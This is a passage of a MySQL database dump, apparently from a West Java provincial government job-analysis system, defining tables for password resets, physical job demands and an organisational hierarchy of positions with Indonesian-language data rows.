(55, 'Dinas Kesehatan', '2018-12-11 19:43:17', '2018-12-11 19:43:17'),
(56, 'Biro Perekonomian', '2018-12-11 19:54:47', '2018-12-11 19:54:47');

-- --------------------------------------------------------

--
-- Table structure for table `password_resets`
--

CREATE TABLE `password_resets` (
  `email` varchar(50) COLLATE utf8mb4_unicode_ci NOT NULL,
  `token` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL,
  `created_at` timestamp NULL DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

-- --------------------------------------------------------

--
-- Table structure for table `physical_efforts`
--

CREATE TABLE `physical_efforts` (
  `id` int(10) UNSIGNED NOT NULL,
  `kode` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `description` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

--
-- Dumping data for table `physical_efforts`
--

INSERT INTO `physical_efforts` (`id`, `kode`, `description`, `created_at`, `updated_at`) VALUES
(1, 'Berdiri', 'Berada dalam suatu tempat dalam posisi tegak ditempat tanpa pindah ke tempat yang lain', '2018-09-16 21:12:53', '2018-10-17 19:55:55'),
(2, 'Berjalan', 'Bergerak dengan jalan kaki', '2018-10-17 19:17:38', '2018-10-17 19:17:38'),
(3, 'Duduk', 'Berada dalam suatu tempat dalam posisi duduk biasa', '2018-10-17 19:18:03', '2018-10-17 19:18:03'),
(4, 'Mengangkat', 'Menaikan atau menurunkan benda di satu tingkat ke tingkat lain (termasuk menarik ke atas)', '2018-10-17 19:20:51', '2018-10-17 19:20:51'),
(5, 'Membawa', 'Memindahkan benda, umumnya dengan menggunakan tangan, lengan atau bahu', '2018-10-17 19:32:33', '2018-10-17 19:32:33'),
(6, 'Mendorong', 'Menggunakan tenaga untuk memindahkan benda menjauhi badan', '2018-10-17 19:34:35', '2018-10-17 19:34:35'),
(7, 'Menarik', 'Menggunakan tenaga untuk memindahkan suatu benda ke arah badan (termasuk menyentak atau merenggut)', '2018-10-17 19:36:13', '2018-10-17 19:36:13'),
(8, 'Memanjat', 'Naik atau turun tangga, tiang, lorong dan lain-lain dengan menggunakan kaki, tangan dan kaki', '2018-10-17 19:40:20', '2018-10-17 19:40:20'),
(9, 'Menyimpan imbangan  / mengatur imbangan', 'Agar tidak jatuh badan waktu berjalan, berdiri, membungkuk atau berlari diatas tempat yang agak sempit, licin dan tinggi tanpa alat pegangan, atau mengatur imbangan pada waktu melakukan olahraga senam', '2018-10-17 19:48:07', '2018-10-17 19:48:07'),
(10, 'Menunduk', 'Melengkungkan tubuh dengan cara melekukan tulang punggung dan kaki', '2018-10-17 19:49:30', '2018-10-17 19:49:30'),
(11, 'Berlutut', 'Melengkungkan paha kaki pada lutut dan berdiam di suatu tempat dengan tubuh diatas lutut', '2018-10-17 19:52:55', '2018-10-17 19:52:55'),
(12, 'Membungkuk', 'Melengkungkan tubuh dengan cara melengkungkan tulang punggung sampai kira-kira sejajar dengan pinggang', '2018-10-17 19:53:51', '2018-10-17 19:53:51'),
(13, 'Merangkak', 'Bergerak dengan menggunakan tangan dan lutut atau kaki dan tangan', '2018-10-17 19:54:34', '2018-10-17 19:54:34'),
(14, 'Menjangkau', 'Mengulurkan tangan dan lengan ke jurusan tertentu', '2018-10-17 19:55:22', '2018-10-17 19:55:22'),
(15, 'Memegang', 'Dengan satu atau dua tangan mengukur, menggenggam, memutar dan lain sebagainya', '2018-10-17 19:59:04', '2018-10-17 19:59:04'),
(16, 'Bekerja dengan jari', 'memungut, menjepit, menekan dan lain sebagainya dengan menggunakan jari (berbeda dengan memegang yang terutama menggunakan seluruh bagian tangan)', '2018-10-17 20:00:12', '2018-10-17 20:00:12'),
(17, 'Meraba', 'Menyentuh dengan jari atau telapak tangan untuk mengetahui sifat-sifat benda seperti suhu, bentuk.', '2018-10-17 20:01:09', '2018-10-17 20:01:09'),
(18, 'Berbicara', 'Menyatakan atau bertukar pikiran secara lisan agar dapat dipahami', '2018-10-17 20:03:12', '2018-10-17 20:03:12'),
(19, 'Mendengar', 'Menggunakan telinga untuk mengetahui adanya suara', '2018-10-17 20:04:41', '2018-10-17 20:04:41'),
(20, 'Melihat', 'Usaha mengetahui dengan menggunakan mata', '2018-10-17 20:05:06', '2018-10-17 20:05:06'),
(21, 'Ketajaman jarak jauh', 'Kejelasan penglihatan dalam jarak lebih dari 5 meter', '2018-10-17 20:05:48', '2018-10-17 20:05:48'),
(22, 'Ketajaman jarak dekat', 'Kejelasan penglihatan kejelasan dalam jarak kurang dari 5 meter', '2018-10-17 20:06:23', '2018-10-17 20:06:40'),
(23, 'Pengamatan secara mendalam', 'Penglihatan dalam 3 dimensi, untuk menetapkan hubungan antara jarak, ruang serta cara melihat benda dimana benda tersebut berada dan sebagaimana adanya', '2018-10-17 20:07:59', '2018-10-17 20:07:59'),
(24, 'Penyesuaian lensa mata', 'Penyesuaian lensa mata untuk melihat suatu benda yang sangat penting bila melaksanakan pekerjaan yang perlu dengan melihat benda-benda dalam jarak dan arah yang berbeda', '2018-10-17 20:10:56', '2018-10-17 20:10:56'),
(25, 'Melihat berbagai warna', 'Membedakan warna yang terdapat dalam pekerjaan', '2018-10-17 20:12:12', '2018-10-17 20:12:12'),
(26, 'Luas', 'Melihat suatu daerah pandang, ke atas dan ke bawah pandang atau ke kanan atau ke kiri sedang mata tetap berada di titik tertentu', '2018-10-17 20:15:14', '2018-10-17 20:15:14');

-- --------------------------------------------------------

--
-- Table structure for table `position`
--

CREATE TABLE `position` (
  `position_id` int(10) UNSIGNED NOT NULL,
  `organization_id` int(10) UNSIGNED NOT NULL,
  `position` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `position_parent` int(11) NOT NULL DEFAULT 0,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL,
  `position_job` int(11) NOT NULL COMMENT '0: Jabatan Pimpinan Tinggi , 1: Jabatan Administrator , 2: Jabatan Pengawas, 3: Jabatan Pelaksana, 4: Jabatan Fungsional'
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

--
-- Dumping data for table `position`
--

INSERT INTO `position` (`position_id`, `organization_id`, `position`, `position_parent`, `created_at`, `updated_at`, `position_job`) VALUES
(14, 5, 'Kepala Sub Bagian Kelembagaan Pengelola Urusan', 11, '2018-10-18 17:51:34', '2018-10-18 17:51:34', 2),
(13, 5, 'Kepala Bagian Kinerja Organisasi dan Reformasi Birokrasi', 10, '2018-10-18 17:51:19', '2018-10-18 17:51:19', 1),
(12, 5, 'Kepala Bagian Ketatalaksanaan', 10, '2018-10-18 17:51:02', '2018-10-18 17:51:02', 1),
(11, 5, 'Kepala Bagian Kelembagaan', 10, '2018-10-18 17:50:41', '2018-10-18 17:50:41', 1),
(10, 5, 'Kepala Biro Organisasi', 0, '2018-10-18 17:50:21', '2018-10-18 17:50:21', 0),
(17, 5, 'Kepala Sub Bagian Kelembagaan Pengelola Non Urusan', 11, '2018-10-18 17:53:10', '2018-10-18 17:53:10', 2),
(16, 5, 'Kepala Sub Bagian Analisa Jabatan dan Analisa Beban Kerja', 11, '2018-10-18 17:52:19', '2018-10-18 17:52:19', 2),
(18, 5, 'Kepala Sub Bagian Tata Kerja', 12, '2018-10-18 17:55:03', '2018-10-18 17:55:03', 2),
(19, 5, 'Kepala Sub Bagian Standar Kerja', 12, '2018-10-18 17:55:21', '2018-10-18 17:55:21', 2),
(20, 5, 'Kepala Sub Bagian Pelayanan Publik', 12, '2018-10-18 17:55:43', '2018-10-18 17:55:43', 2),
(21, 5, 'Kepala Sub Bagian Kinerja Organisasi', 13, '2018-10-18 17:56:52', '2018-10-18 17:56:52', 2),
(22, 5, 'Kepala Sub Bagian Reformasi Birokrasi', 13, '2018-10-18 17:57:15', '2018-10-18 17:57:15', 2),
(23, 5, 'Kepala Sub Bagian Perencanaan dan Tata Usaha', 13, '2018-10-18 17:57:50', '2018-10-18 17:57:50', 2),
(24, 5, 'Analis Jabatan', 16, '2018-10-18 18:00:27', '2018-10-18 18:00:27', 3),
(25, 5, 'Analis Kelembagaan', 16, '2018-10-18 18:00:52', '2018-10-18 18:00:52', 3),
(26, 5, 'Pengelola Data', 16, '2018-10-18 18:01:09', '2018-10-18 18:01:09', 3),
(27, 5, 'Analis Kelembagaan', 17, '2018-10-23 23:49:14', '2018-10-23 23:49:14', 3),
(28, 5, 'Pengelola Data', 17, '2018-10-23 23:49:47', '2018-10-23 23:49:47', 3),
(29, 5, 'Analis Kelembagaan', 14, '2018-10-23 23:50:08', '2018-10-23 23:50:08', 3),
(30, 5, 'Pengelola Data', 14, '2018-10-23 23:50:24', '2018-10-23 23:50:24', 3),
(31, 6, 'Kepala Biro Pemerintahan dan Kerjasama', 0, '2018-12-11 14:35:16', '2018-12-11 14:35:16', 0),
(32, 7, 'Kepala Biro Hukum dan HAM', 0, '2018-12-11 14:35:40', '2018-12-11 14:35:40', 0),
(33, 8, 'Kepala Biro Pelayanan dan Pengembangan Sosial', 0, '2018-12-11 14:36:05', '2018-12-11 14:36:05', 0),
(34, 9, 'Kepala Biro Sarana Perekonomian, Investasi dan BUMD', 0, '2018-12-11 14:36:34', '2018-12-11 14:36:34', 0),
(35, 10, 'Kepala Biro Produksi dan Industri', 0, '2018-12-11 14:36:59', '2018-12-11 14:36:59', 0),
(36, 11, 'Kepala Biro Pengendalian Pembangunan', 0, '2018-12-11 14:37:25', '2018-12-11 14:37:25', 0),
(37, 12, 'Kepala Biro Hubungan Masyarakat dan Protokol', 0, '2018-12-11 14:37:48', '2018-12-11 14:37:48', 0),
(38, 13, 'Kepala Biro Umum', 0, '2018-12-11 14:38:05', '2018-12-11 14:38:05', 0),
(39, 14, 'Sekretaris Dewan Perwakilan Rakyat Daerah', 0, '2018-12-11 14:38:38', '2018-12-11 14:38:38', 0),
(40, 15, 'Inspektur Inspektorat Provinsi Jawa Barat', 0, '2018-12-11 14:39:02', '2018-12-11 14:39:02', 0),
(41, 16, 'Kepala Dinas Pendidikan', 0, '2018-12-11 14:39:21', '2018-12-11 14:39:21', 0),
(42, 17, 'Kepala Dinas Kesehatan', 0, '2018-12-11 14:39:39', '2018-12-11 14:39:39', 0),
(43, 18, 'Kepala Dinas Bina Marga dan Penataan Ruang', 0, '2018-12-11 14:40:05', '2018-12-11 14:40:05', 0),
(44, 19, 'Kepala Dinas Sumber Daya Air', 0, '2018-12-11 14:40:24', '2018-12-11 14:40:24', 0),
(45, 20, 'Kepala Dinas Perumahan dan Permukiman', 0, '2018-12-11 14:40:49', '2018-12-11 14:40:49', 0),
(46, 21, 'Kepala Satuan Polisi Pamong Praja', 0, '2018-12-11 14:42:25', '2018-12-11 14:42:25', 0),
(47, 22, 'Kepala Dinas Sosial', 0, '2018-12-11 14:42:48', '2018-12-11 14:42:48', 0),
(48, 23, 'Kepala Dinas Pemberdayaan Perempuan, Perlindungan Anak dan Keluarga Berencana', 0, '2018-12-11 14:43:29', '2018-12-11 14:43:29', 0),
(49, 24, 'Kepala Dinas Lingkungan Hidup', 0, '2018-12-11 14:44:18', '2018-12-11 14:44:18', 0),
(50, 25, 'Kepala Dinas Pemberdayaan Masyarakat dan Desa', 0, '2018-12-11 14:44:48', '2018-12-11 14:44:48', 0),
(51, 26, 'Kepala Dinas Perhubungan', 0, '2018-12-11 14:45:10', '2018-12-11 14:45:10', 0),
(52, 27, 'Kepala Dinas Komunikasi dan Informatika', 0, '2018-12-11 14:45:52', '2018-12-11 14:45:52', 0),
(53, 28, 'Kepala Dinas Koperasi dan Usaha Kecil', 0, '2018-12-11 14:46:29', '2018-12-11 14:46:29', 0),
(54, 29, 'Kepala Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu', 0, '2018-12-11 14:49:17', '2018-12-11 14:49:17', 0),
(55, 30, 'Kepala Dinas Pemuda dan Olahraga', 0, '2018-12-11 14:49:39', '2018-12-11 14:49:39', 0),
(56, 31, 'Kepala Dinas Perpustakaan dan Kearsipan', 0, '2018-12-11 14:50:18', '2018-12-11 14:50:18', 0),
(57, 32, 'Kepala Dinas Tenaga Kerja dan Transmigrasi', 0, '2018-12-11 14:50:51', '2018-12-11 14:50:51', 0),
(58, 33, 'Kepala Dinas Ketahanan Pangan dan Peternakan', 0, '2018-12-11 14:51:18', '2018-12-11 14:51:18', 0),
(59, 34, 'Kepala Dinas Pariwisata dan Kebudayaan', 0, '2018-12-11 14:51:49', '2018-12-11 14:51:49', 0),
(60, 35, 'Kepala Dinas Kelautan dan Perikanan', 0, '2018-12-11 14:52:20', '2018-12-11 14:52:20', 0),
(61, 36, 'Kepala Dinas Tanaman Pangan dan Hortikultura', 0, '2018-12-11 14:52:47', '2018-12-11 14:52:47', 0),
(62, 37, 'Kepala Dinas Perkebunan', 0, '2018-12-11 14:53:10', '2018-12-11 14:53:10', 0),
(63, 38, 'Kepala Dinas Kehutanan', 0, '2018-12-11 14:53:30', '2018-12-11 14:53:30', 0),
(64, 39, 'Kepala Dinas Energi dan Sumber Daya Mineral', 0, '2018-12-11 14:53:56', '2018-12-11 14:53:56', 0),
(65, 40, 'Kepala Dinas Perindustrian dan Perdagangan', 0, '2018-12-11 14:54:23', '2018-12-11 14:54:23', 0),
(66, 41, 'Kepala Dinas Kependudukan dan Pencatatan Sipil', 0, '2018-12-11 14:54:50', '2018-12-11 14:54:50', 0),
(67, 42, 'Kepala Badan Perencanaan Pembangunan Daerah', 0, '2018-12-11 14:55:14', '2018-12-11 14:55:14', 0),
(68, 43, 'Kepala Badan Kepegawaian Daerah', 0, '2018-12-11 14:55:39', '2018-12-11 14:55:39', 0),
(69, 45, 'Kepala Badan Penelitian dan Pengembangan Daerah', 0, '2018-12-11 14:56:13', '2018-12-11 14:56:13', 0),
(70, 46, 'Kepala Badan Pengelolaan Keuangan dan Aset Daerah', 0, '2018-12-11 14:56:45', '2018-12-11 14:56:45', 0),
(71, 47, 'Kepala Badan Pendapatan Daerah', 0, '2018-12-11 14:57:10', '2018-12-11 14:57:10', 0),
(72, 48, 'Kepala Badan Penghubung', 0, '2018-12-11 14:57:34', '2018-12-11 14:57:34', 1),
(73, 49, 'Kepala Badan Kesatuan Bangsa dan Politik', 0, '2018-12-11 14:58:06', '2018-12-11 14:58:06', 0),
(74, 50, 'Kepala Pelaksana Badan Penanggulangan Bencana Daerah', 0, '2018-12-11 15:01:05', '2018-12-11 15:01:05', 0),
(75, 51, 'Kepala Badan Koordiansi Pemerintahan dan Pembangunan Wilayah I', 0, '2018-12-11 15:01:53', '2018-12-11 15:01:53', 0),
(76, 52, 'Kepala Badan Koordinasi Pemerintahan dan Pembangunan Wilayah II', 0, '2018-12-11 15:03:59', '2018-12-11 15:03:59', 0),
(77, 53, 'Kepala Badan Koordinasi Pemerintahan dan Pembangunan Wilayah III', 0, '2018-12-11 15:04:23', '2018-12-11 15:04:23', 0),
(78, 54, 'Kepala Badan Koordinasi Pemerintahan dan Pembangunan Wilayah IV', 0, '2018-12-11 15:04:50', '2018-12-11 15:04:50', 0),
(124, 32, 'KEPALA UPTD PENGAWASAN KETENAGAKERJAAN WILAYAH II BEKASI DAN KARAWANG', 57, '2018-12-11 20:39:52', '2018-12-11 20:39:52', 1),
(80, 49, 'Sekretaris', 0, '2018-12-11 18:11:33', '2018-12-11 18:11:33', 1),
(81, 34, 'Kepala Dinas Pariwisata dan Kebudayaan Provinsi Jawa Barat', 59, '2018-12-11 18:50:46', '2018-12-11 18:50:46', 0),
(82, 41, 'Kepala Dinas Kependudukan dan Pencatatan Sipil Provinsi Jawa Barat', 66, '2018-12-11 18:54:04', '2018-12-11 18:54:04', 0),
(84, 17, 'Direktur Utama Rumah Jiwa', 42, '2018-12-11 19:45:33', '2018-12-11 19:45:33', 0),
(85, 32, 'Kepala Bidang Pengawasan Ketenagakerjaan', 57, '2018-12-11 19:46:18', '2018-12-11 19:46:18', 1),
(86, 32, 'Kepala Bidang Hubungan Industrial dan Jaminan Sosial Tenaga Kerja', 57, '2018-12-11 19:49:11', '2018-12-11 19:49:11', 1),
(87, 32, 'KEPALA BIDANG PENEMPATAN PERLUASAN TENAGA KERJA DAN TRANSMIGRASI', 57, '2018-12-11 19:51:48', '2018-12-11 19:51:48', 1),
(88, 32, 'KEPALA BIDANG PELATIHAN dAN PRODUKTIVITAS', 57, '2018-12-11 19:52:22', '2018-12-11 19:52:22', 1),
(90, 32, 'KEPALA SUB BAGIAN PERENCANAAN DAN PELAPORAN', 83, '2018-12-11 19:54:05', '2018-12-11 19:54:05', 2),
(91, 32, 'KEPALA SUB BAGIAN KEUANGAN DAN ASET', 83, '2018-12-11 19:54:48', '2018-12-11 19:54:48', 2),
(92, 32, 'KEPALA SUB BAGIAN KEPEGAWAIAN DAN UMUM', 83, '2018-12-11 19:55:25', '2018-12-11 19:55:25', 2),
(93, 32, 'KEPALA SEKSI PELATIHAN DAN PEMAGANGAN', 88, '2018-12-11 19:56:54', '2018-12-11 19:56:54', 2),
(98, 50, 'Kasubbag kepegum', 97, '2018-12-11 20:11:31', '2018-12-11 20:11:31', 2),
(95, 32, 'KEPALA SEKSI PENGUATAN PRODUKTIVITAS', 88, '2018-12-11 19:59:11', '2018-12-11 19:59:11', 2),
(96, 32, 'KEPALA SEKSI STANDARISASI,SERTIFIKASI DAN KOMPETENSI', 88, '2018-12-11 19:59:47', '2018-12-11 19:59:47', 2),
(97, 50, 'Sekretaris', 74, '2018-12-11 20:02:45', '2018-12-11 20:02:45', 1),
(99, 32, 'KEPALA SEKSI PERLUASAN KESEMPATAN KERJA', 87, '2018-12-11 20:18:05', '2018-12-11 20:18:05', 2),
(100, 32, 'KEPALA SEKSI PENGEMBANGAN DAN PENEMPATAN TENAGA KERJA', 87, '2018-12-11 20:18:54', '2018-12-11 20:18:54', 2),
(101, 32, 'KEPALA SEKSI TRANSMIGRASI', 87, '2018-12-11 20:19:47', '2018-12-11 20:19:47', 2),
(102, 32, 'KEPALA SEKSI KELEMBAGAAN HUBUNGAN INDUSTRIA', 86, '2018-12-11 20:20:31', '2018-12-11 20:20:31', 2),
(103, 32, 'KEPALA SEKSI PENGUPAHAN DAN PENINGKATAN KESEJAHTERAAN TENAGA KERJA', 86, '2018-12-11 20:21:06', '2018-12-11 20:21:06', 2),
(104, 32, 'KEPALA SEKSI PENCEGAHAN PENYELESAIAN PERSELISIHAN HUBUNGAN INDUSTRIAL', 86, '2018-12-11 20:21:44', '2018-12-11 20:21:44', 2),
(105, 32, 'KEPALA SEKSI PENGAWASAN NORMA KERJA, PEREMPUAN, ANAK DAN JAMINAN SOSIAL', 85, '2018-12-11 20:22:45', '2018-12-11 20:22:45', 2),
(106, 32, 'KEPALA SEKSI PENGAWASAN NORMA KESELAMATAN DAN KESEHATAN KERJA', 85, '2018-12-11 20:23:22', '2018-12-11 20:23:22', 2),
(107, 32, 'KEPALA SEKSI PENEGAKAN HUKUM DAN SDM PENGAWAS KETENAGAKERJAN', 85, '2018-12-11 20:23:58', '2018-12-11 20:23:58', 2),
(108, 32, 'KEPALA BALAI LATIHAN KERJA KOMPETENSI', 57, '2018-12-11 20:29:10', '2018-12-11 20:29:10', 1),
(109, 32, 'KEPALA SUB BAGIAN TATA USAHA', 108, '2018-12-11 20:30:12', '2018-12-11 20:30:12', 2),
(110, 32, 'KEPALA SEKSI PENYELENGGARAAN PELATIHAN', 108, '2018-12-11 20:30:47', '2018-12-11 20:30:47', 2),
(111, 32, 'KEPALA SEKSI KERJASAMA DAN PEMASARAN', 108, '2018-12-11 20:31:22', '2018-12-11 20:31:22', 2),
(112, 32, 'KEPALA BALAI LATIHAN KERJA PEKERJA MIGRAN INDONESIA', 57, '2018-12-11 20:31:56', '2018-12-11 20:31:56', 1),
(113, 32, 'KEPALA SUB BAGIAN TATA USAHA', 112, '2018-12-11 20:32:33', '2018-12-11 20:32:33', 2),
(114, 32, 'KEPALA SEKSI PENYELENGGARAAN PELATIHAN', 112, '2018-12-11 20:33:27', '2018-12-11 20:33:27', 1),
(115, 32, 'KEPALA SEKSI PENYELENGGARAAN PELATIHAN', 112, '2018-12-11 20:34:00', '2018-12-11 20:34:00', 2),
(116, 32, 'KEPALA BALAI LATIHAN KERJA MANDIRI', 57, '2018-12-11 20:34:45', '2018-12-11 20:34:45', 1),
(117, 32, 'KEPALA SUB BAGIAN TATA USAHA', 116, '2018-12-11 20:35:36', '2018-12-11 20:35:36', 2),
(118, 32, 'KEPALA SEKSI PENYELENGGARAAN PELATIHAN', 116, '2018-12-11 20:36:08', '2018-12-11 20:36:08', 2),
(119, 32, 'KEPALA SEKSI KERJASAMA DAN PEMASARAN', 116, '2018-12-11 20:36:47', '2018-12-11 20:36:47', 2),
(120, 32, 'KEPALA UPTD PENGAWASAN KETENAGAKERJAAN WILAYAH I BOGOR', 57, '2018-12-11 20:37:27', '2018-12-11 20:37:27', 1),
(121, 32, 'KEPALA SUB BAGIAN TATA USAHA', 120, '2018-12-11 20:37:58', '2018-12-11 20:37:58', 2),
(122, 32, 'KEPALA SEKSI PENGAWASAN NORMA KERJA', 120, '2018-12-11 20:38:31', '2018-12-11 20:38:31', 2),
(123, 32, 'KEPALA SEKSI PENGAWASAN KESELAMATAN DAN KESEHATAN KERJA', 120, '2018-12-11 20:39:07', '2018-12-11 20:39:07', 2),
(125, 32, 'KEPALA SUB BAGIAN TATA USAHA', 124, '2018-12-11 20:41:06', '2018-12-11 20:41:06', 2),
(126, 32, 'KEPALA SEKSI PENGAWASAN NORMA KERJA', 124, '2018-12-11 20:41:44', '2018-12-11 20:41:44', 2),
(127, 32, 'KEPALA SEKSI PENGAWASAN KESELAMATAN DAN KESEHATAN KERJA', 124, '2018-12-11 20:42:56', '2018-12-11 20:42:56', 2),
(128, 32, 'KEPALA UPTD PENGAWASAN KETENAGAKERJAAN WILAYAH III CIREBON', 57, '2018-12-11 20:43:48', '2018-12-11 20:43:48', 1),
(129, 57, 'Kepala Badan Pengembangan Sumber Daya Manusia Provinsi Jawa Barat', 83, '2018-12-11 20:45:56', '2018-12-11 20:45:56', 0),
(130, 32, 'KEPALA SUB BAGIAN TATA USAHA', 128, '2018-12-11 20:46:27', '2018-12-11 20:46:27', 2),
(131, 32, 'KEPALA SEKSI PENGAWASAN NORMA KERJA', 128, '2018-12-11 20:47:04', '2018-12-11 20:47:04', 2),
(132, 32, 'KEPALA SEKSI PENGAWASAN KESELAMATAN DAN KESEHATAN KERJA', 128, '2018-12-11 20:47:38', '2018-12-11 20:47:38', 2),
(133, 32, 'KEPALA UPTD PENGAWASAN KETENAGAKERJAAN WILAYAH IV BANDUNG', 57, '2018-12-11 20:48:20', '2018-12-11 20:48:20', 1),
(134, 32, 'KEPALA SUB BAGIAN TATA USAHA', 133, '2018-12-11 20:50:01', '2018-12-11 20:50:01', 2),
(135, 32, 'KEPALA SEKSI PENGAWASAN NORMA KERJA', 133, '2018-12-11 20:50:57', '2018-12-11 20:50:57', 2),
(136, 32, 'KEPALA SEKSI PENGAWASAN KESELAMATAN DAN KESEHATAN KERJA', 133, '2018-12-11 20:51:32', '2018-12-11 20:51:32', 2),
(137, 32, 'KEPALA UPTD PENGAWASAN KETENAGAKERJAAN WILAYAH V TASIKMALAYA', 57, '2018-12-11 20:52:55', '2018-12-11 20:52:55', 1),
(138, 32, 'KEPALA SUB BAGIAN TATA USAHA', 137, '2018-12-11 20:53:33', '2018-12-11 20:53:33', 2),
(139, 32, 'KEPALA SEKSI PENGAWASAN NORMA KERJA', 137, '2018-12-11 20:54:24', '2018-12-11 20:54:24', 2),
(140, 32, 'KEPALA SEKSI PENGAWASAN KESELAMATAN DAN KESEHATAN KERJA', 137, '2018-12-11 20:55:12', '2018-12-11 20:55:12', 2),
(141, 32, 'Pengadministrasi Perencanaan dan Program', 90, '2018-12-13 00:52:58', '2018-12-13 00:52:58', 3),
(142, 32, 'Analis Perencanaan Evaluasi dan Pelaporan', 90, '2018-12-13 00:56:38', '2018-12-13 00:56:38', 3),
(143, 32, 'Pengolah Data Perencanaan dan penganggaran', 90, '2018-12-13 00:58:29', '2018-12-13 00:58:29', 3),
(144, 41, 'Kepala Dinas Kependudukan dan Pencatatan Sipil Provinsi Jawa Barat', 66, '2018-12-13 19:43:54', '2018-12-13 19:43:54', 0),
(146, 57, 'Analis Sumber Daya Manusia Aparatur', 92, '2018-12-27 00:39:12', '2018-12-27 00:39:12', 3),
(147, 57, 'Pengelola Kepegawaian', 92, '2018-12-27 00:44:27', '2018-12-27 00:44:27', 3),
(148, 57, 'Pengelola Barang Milik Negara', 92, '2018-12-27 00:45:37', '2018-12-27 00:45:37', 3),
(149, 57, 'Pengadministrasi Umum', 92, '2018-12-27 00:46:37', '2018-12-27 00:46:37', 3),
(150, 57, 'Pengolah Informasi dan Komunikasi', 92, '2018-12-27 00:47:27', '2018-12-27 00:47:27', 3),
(157, 57, 'Analis Penerimaan Keuangan', 91, '2018-12-27 01:01:32', '2018-12-27 01:01:32', 3),
(156, 57, 'Analis laporan Keuangan', 91, '2018-12-27 00:57:11', '2018-12-27 00:57:11', 3),
(158, 57, 'Pengolah Data Aplikasi dan Pengelolaan Data Sistem Keuangan', 91, '2018-12-27 01:02:08', '2018-12-27 01:02:08', 3),
(159, 57, 'Pengelola Gaji', 91, '2018-12-27 01:03:21', '2018-12-27 01:03:21', 3),
(160, 57, 'Verifikatur Keuangan', 91, '2018-12-27 01:04:31', '2018-12-27 01:04:31', 3),
(161, 57, 'Pengadministrasi Keuangan', 91, '2018-12-27 01:05:22', '2018-12-27 01:05:22', 3),
(162, 57, 'Pengelola Keuangan', 91, '2018-12-27 01:06:09', '2018-12-27 01:06:09', 3),
(163, 57, 'Analis Perencanaan, Evaluasi dan Pelaporan', 90, '2018-12-27 01:07:21', '2018-12-27 01:07:21', 3),
(164, 57, 'Pengolah Data Perencanaan Penganggaran', 90, '2018-12-27 01:08:00', '2018-12-27 01:08:00', 3),
(165, 57, 'Pengadministrasi Perencanaan dan Program', 90, '2018-12-27 01:08:36', '2018-12-27 01:08:36', 3),
(166, 57, 'Kepala Bidang Sertifikasi Kompetensi dan Pengelolaan Kelembagaan', 129, '2018-12-27 01:11:19', '2018-12-27 01:11:19', 1),
(169, 57, 'Analis Kelembagaan', 168, '2018-12-27 01:15:49', '2018-12-27 01:15:49', 3),
(168, 57, 'Kepala Sub Bidang Sertifikasi Kompetensi', 166, '2018-12-27 01:15:03', '2018-12-27 01:15:03', 2),
(170, 57, 'Analis Pengembangan Kompetensi', 168, '2018-12-27 01:16:23', '2018-12-27 01:16:23', 3),
(171, 57, 'Pengelola Lembaga Sertifikasi Profesi', 168, '2018-12-27 01:18:43', '2018-12-27 01:18:43', 3),
(172, 57, 'Kepala Sub Bidang Pengelolaan Kelembagaan dan Tenaga Pengembangan Kompetensi', 166, '2018-12-27 01:20:43', '2018-12-27 01:20:43', 2),
(173, 57, 'Analis Monitoring dan Evaluasi Pelaporan', 172, '2018-12-27 01:21:34', '2018-12-27 01:21:34', 3),
(174, 57, 'Pengadministrasi Layanan Bimbingan dan Konseling', 172, '2018-12-27 01:23:29', '2018-12-27 01:23:29', 3),
(175, 57, 'Kepala Sub Bidang Pengelolaan Sumber Belajar dan Kerjasama', 166, '2018-12-27 01:25:06', '2018-12-27 01:25:06', 2),
(176, 57, 'Penyusun Program Kelembagaan dan Kerjasama', 175, '2018-12-27 01:25:44', '2018-12-27 01:25:44', 3),
(177, 57, 'Pengelola Pengembangan Sistem Pembelajaran', 175, '2018-12-27 01:26:51', '2018-12-27 01:26:51', 3),
(178, 57, 'Pengelola Dokumentasi', 175, '2018-12-27 01:31:55', '2018-12-27 01:31:55', 3),
(179, 57, 'Kepala Bidang Pengembangan Kompetensi Teknis Substantif', 129, '2018-12-27 01:34:13', '2018-12-27 01:34:13', 1),
(180, 57, 'Kepala Sub Bidang Pengembangan Kompetensi Inti I', 179, '2018-12-27 01:35:25', '2018-12-27 01:35:25', 2),
(181, 57, 'Penyusun Program Penyelenggaraan Diklat', 180, '2018-12-27 01:36:05', '2018-12-27 01:36:05', 3),
(182, 57, 'Penyusun Kerjasama Pelatihan', 180, '2018-12-27 01:52:20', '2018-12-27 01:52:20', 3),
(183, 57, 'Pranata Sarana dan Prasarana Diklat', 180, '2018-12-27 01:57:55', '2018-12-27 01:57:55', 3),
(184, 57, 'Kepala Sub Bidang Pengembangan Kompetensi Iinti II', 179, '2018-12-27 02:01:07', '2018-12-27 02:01:07', 2),
(185, 57, 'Analis Kerjasama Diklat', 184, '2018-12-27 02:03:45', '2018-12-27 02:03:45', 3),
(186, 57, 'Pengelola Penyelenggaraan Diklat', 184, '2018-12-27 02:04:23', '2018-12-27 02:04:23', 3),
(187, 57, 'Pranata Sistem Informasi Diklat Aparatur', 184, '2018-12-27 02:05:21', '2018-12-27 02:05:21', 3),
(188, 57, 'Kepala Sub Bidang Pengembangan Kompetensi Inti III', 179, '2018-12-27 02:07:49', '2018-12-27 02:07:49', 2),
(189, 57, 'Penyusun Laporan Hasil Diklat', 188, '2018-12-27 02:09:00', '2018-12-27 02:09:00', 3),
(190, 57, 'Pengelola Dokumentasi', 188, '2018-12-27 02:12:21', '2018-12-27 02:12:21', 3),
(191, 57, 'Pengadministrasi Kerjasama Pelatihan', 188, '2018-12-27 02:13:01', '2018-12-27 02:13:01', 3),
(192, 57, 'Kepala Bidang Pengembangan Kompetensi Teknis Umum', 129, '2018-12-27 02:14:35', '2018-12-27 02:14:35', 1),
